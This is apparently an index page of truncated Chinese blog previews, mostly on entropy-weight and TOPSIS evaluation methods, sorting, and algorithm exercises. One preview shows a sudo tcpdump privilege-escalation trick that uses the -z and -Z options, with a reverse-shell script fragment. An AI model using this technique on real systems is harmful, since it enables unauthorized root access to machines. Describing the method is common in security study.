参考原理博客地址https://blog.csdn.net/u013713294/article/details/53407087 一.基本原理 在信息论中,熵是对不确定性的一种度量.信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大. 根据熵的特性,可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价的影响(权重)越大,其熵值越小. 二.熵值法步骤 1. 选取n个国家,m个指标,则为第i个国家的第j

按照信息论基本原理的解释,信息是系统有序程度的一个度量,熵是系统无序程度的一个度量:如果指标的信息熵越小,该指标提供的信息量越小,在综合评价中所起作用理当越小,权重就应该越低.因此,可利用信息熵这个工具,计算出各个指标的权重,为多指标综合评价提供依据. 物理意义 物质微观热运动时,混乱程度的标志.热力学中表征物质状态的参量之一,通常用符号S表示.在经典热力学中,可用增量定义为dS=(dQ/T),式中T为物质的热力学温度;dQ为熵增过程中加入物质的热量:下标“可逆”表示加热过程所引起的变化过程是可

一.熵权法介绍 熵最先由申农引入信息论,目前已经在工程技术.社会经济等领域得到了非常广泛的应用. 熵权法的基本思路是根据各个特征和它对应的值的变异性的大小来确定客观权重. 一般来说,若某个特征的信息熵越小,表明该特征的值得变异(对整体的影响)程度越大,提供的信息量越多,在综合评价中所能起到 的作用也越大,其权重也就越大.相反,某个特征的信息熵越大,表明指标值得变异(对整体的影响)程度越小,提供的信息量也越少, 在综合评价中所起到的作用也越小,其权重也就越小. 二.熵权法赋权步骤 1. 数据标准化

% % X 数据矩阵 % % n 数据矩阵行数即评价对象数目 % % m 数据矩阵列数即经济指标数目 % % B 乘以熵权的数据矩阵 % % Dist_max D+ 与最大值的距离向量 % % Dist_min D- 与最小值的距离向量 % % e 熵值列表 % % d 信息熵冗余度 % % w 权值表 % % stand_S 归一化矩阵 % % sorted_S 按照降序排列的数据矩阵 %% 第一步:把数据复制到工作区,并将这个矩阵命名为X clear;clc load jingjizhibi

熵权topsis是一种融合了熵值法与TOPSIS法的综合评价方法.熵值法是一种客观赋值法,可以减少主观赋值带来的偏差:而topsis法是一种常见的多目标决策分析方法,适用于多方案.多对象的对比研究,从中找出最佳方案或竞争力最强的对象. 熵权topsis是先由熵权法计算得到指标的客观权重,再利用TOPSIS法,对各评价对象进行评价. 熵权topsis法分析步骤通常可分为以下三步: (1)数据标准化 (2)熵值法确定评价指标的权重 (3)topsis法得到评价对象的排名结果 其中第2.3步由SPSS

本文从阐述Python实现客观赋权法的四种方式: 一. 熵权法 二. 因子分析权数法(FAM) 三. 主成分分析权数法(PCA) 四. 独立性权系数法 Python实现客观赋权法,在进行赋权前,先导入数据(列:各维属性:行:各样本),并自行进行去空值.归一化等操作. import pandas as pd import numpy as np data=pd.DataFrame(pd.read_excel('路径')) 一. 熵权法 若某个指标的信息熵越大(即离散程度越大),表明指标提供的信息量

本文从以下四个方面,介绍用Python实现熵值法确定权重: 一. 熵值法介绍 二. 熵值法实现 三. Python实现熵值法示例1 四. Python实现熵值法示例2 一. 熵值法介绍 熵值法是计算指标权重的经典算法之一,它是指用来判断某个指标的离散程度的数学方法.离散程度越大,即信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大.根据熵的特性,我们可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价

1024 科学计数法 (20)(20 分) 科学计数法是科学家用来表示很大或很小的数字的一种方便的方法,其满足正则表达式[+-][1-9]"."[0-9]+E[+-][0-9]+,即数字的整数部分只有1位,小数部分至少有1位,该数字及其指数部分的正负号即使对正数也必定明确给出. 现以科学计数法的格式给出实数A,请编写程序按普通数字表示法输出A,并保证所有有效位都被保留. 输入格式: 每个输入包含1个测试用例,即一个以科学计数法表示的实数A.该数字的存储长度不超过9999字节,且其指数的

原文地址: http://blog.csdn.net/qustmeng/article/details/52186378?locationNum=4&fps=1 import java.util.LinkedList; import java.util.List;  public class Demo {     /**      * 二次指数平滑法求预测值      * @param list 基础数据集合      * @param year 未来第几期      * @param modu

1073 多选题常见计分法(20 分) 批改多选题是比较麻烦的事情,有很多不同的计分方法.有一种最常见的计分方法是:如果考生选择了部分正确选项,并且没有选择任何错误选项,则得到 50% 分数:如果考生选择了任何一个错误的选项,则不能得分.本题就请你写个程序帮助老师批改多选题,并且指出哪道题的哪个选项错的人最多. 输入格式: 输入在第一行给出两个正整数 N(≤1000)和 M(≤100),分别是学生人数和多选题的个数.随后 M 行,每行顺次给出一道题的满分值(不超过 5 的正整数).选项个数(不少

冒泡排序原理 冒泡排序对一个数组里的数字进行排序,把数组里两个相邻的数比较大小,将值小的数放在前面,把大的数往后面放,当然这种排序是升序,即从小到大.举例说明$array = [64, 56, 31, 68, 6];数组中有五个元素,按照原理说法,再详细说一下做几轮比较和比较的细节.第一轮[64, 56, 31, 68, 6]: 第一次比较是拿64和56比较,也就是$array[0] 和 $array [1] 比较,因为64比56大,那么56放在前面,64放在后面,结果为 [56, 64, 31

当当前用户可以通过sudo执行tcpdump时,可以用来进行提权 tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的 一.编写反向shell脚本 #shell.sh <backpipe | /bin/bash >backpipe 二.通过sudo调用tcpdump来执行shell.sh这个脚本 [test@localhost tmp]$ -G -z /tmp/s

[问题]介绍一种时间复杂度O(N),额外空间复杂度O(1)的二叉树的遍历方式,N为二叉树的节点个数无论是递归还是非递归,避免不了额外空间为O(h),h 为二叉树的高度使用morris遍历,即利用空节点空间morris遍历:[思路:]空间复杂度O(1)的要求很严格.常规的递归实现是显然不能满足要求的[其空间复杂度是树的深度O(h)].本篇文章介绍著名的Morris遍历,该方法利用了二叉树结点中大量指向null的指针. 常规的栈结构遍历方式,遍历到某个节点之后并不能回到上层的结点,这是由二叉树本身的

[题目]给定一个单链表的头节点head,实现一个调整单链表的函数,使得每K个节点之间逆序,如果最后不够K个节点一组,则不调整最后几个节点.例如:链表:1->2->3->4->5->6->7->8->null,K = 3.调整后为:3->2->1->6->5->4->7->8->null.其中7.8不调整,因为不够一组.[解题思路]方法一:使用栈,每K个节点依次入栈,并依次删除然后栈弹出尾插法插入节点方法二:直接

[题目] 将一个没有重复数字的数组中的数据构造一个二叉树 每个节点都是该子树的最大值 [要求] 时间复杂度为O(N)[题解] 使用单调栈,栈的顺序是维持从大到小排序 通过使用单调栈,将数组中中所有数的左右比他大的数记录下来 当某个数既无左边比他大的数,有无右边比他大的数,则该数为全局最大,将其作为二叉树的根 然后,某数只有左比他大的数,或者右比他大的数,则该数直接挂在比他大的数的下面, 当某个数既有左比他大的数,又有右比他大的数,则挂在两个数中较小数的下面. 然后直接构成一棵树. #includ

一.mapminmax Process matrices by mapping row minimum and maximum values to [-1 1] 意思是将矩阵的每一行处理成[-1,1]区间,此时对于模式识别或者其他统计学来说,数据应该是每一列是一个样本,每一行是多个样本的同一维,即对于一个M*N的矩阵来说,样本的维度是M,样本数目是N,一共N列N个样本. 其主要调用形式有: 1. [Y,PS] = mapminmax(X,YMIN,YMAX)     % 将矩阵的每一行压缩到 [

[题目] 实现一个特殊的栈,在实现栈的基本功能的基础上,再实现返回栈中最小元素的操作. [要求] 1.pop.push.getMin操作的时间复杂度都是O(1).2.设计的栈类型可以使用现成的栈结构. [题解] 实现一个特殊的栈,在实现栈的基本功能的基础上,再实现返回栈中最小元素的操作.[要求]1．pop.push.getMin操作的时间复杂度都是O(1).2．设计的栈类型可以使用现成的栈结构. 解题思路: 使用一个辅助栈,里面存的目前栈中的最小值 #pragma once #include <

[题目]给定链表的头节点head,实现删除链表的中间节点的函数.例如:不删除任何节点:1->2,删除节点1:1->2->3,删除节点2:1->2->3->4,删除节点2:1->2->3->4->5,删除节点3:进阶:给定链表的头节点head.整数a和b,实现删除位于a / b处节点的函数.例如:链表:1->2->3->4->5,假设a / b的值为r.如果r等于0,不删除任何节点:如果r在区间(0,1 / 5]上,删除节点

[题目]分别实现两个函数,一个可以删除单链表中倒数第K个节点,另一个可以删除双链表中倒数第K个节点.[要求]如果链表长度为N,时间复杂度达到O(N),额外空间复杂度达到O(1).[题解]从头遍历链表,每移动一次,K--,直至移动到链表尾部,此时k>0,说明k太大,链表不用删除k==0,链表长度即是k, 删除头结点即可k<0,再次重头遍历链表,每移动一次,k++,当k==0时,此时结点为要删除结点的前结点,使其指向下一个结点即可双向链表一样,只不过需要注意前结点就好 #include <i

[题目]给定数组arr和整数num,共返回有多少个子数组满足如下情况:max(arr[i.j]) - min(arr[i.j]) <= num max(arfi.j])表示子数组ar[ij]中的最大值,min(arli.j])表示子数组arr[i.j]中的最小值.[要求]如果数组长度为N,请实现时间复杂度为O(N)的解法.[题解]使用两个单调栈,一个栈维持从大到小的排序,头部永远是最大值一个维持从小到大的排序,头部永远都是最小值然后使用窗口进行数据移动当右移后,最大最小差超过num时,计算这段数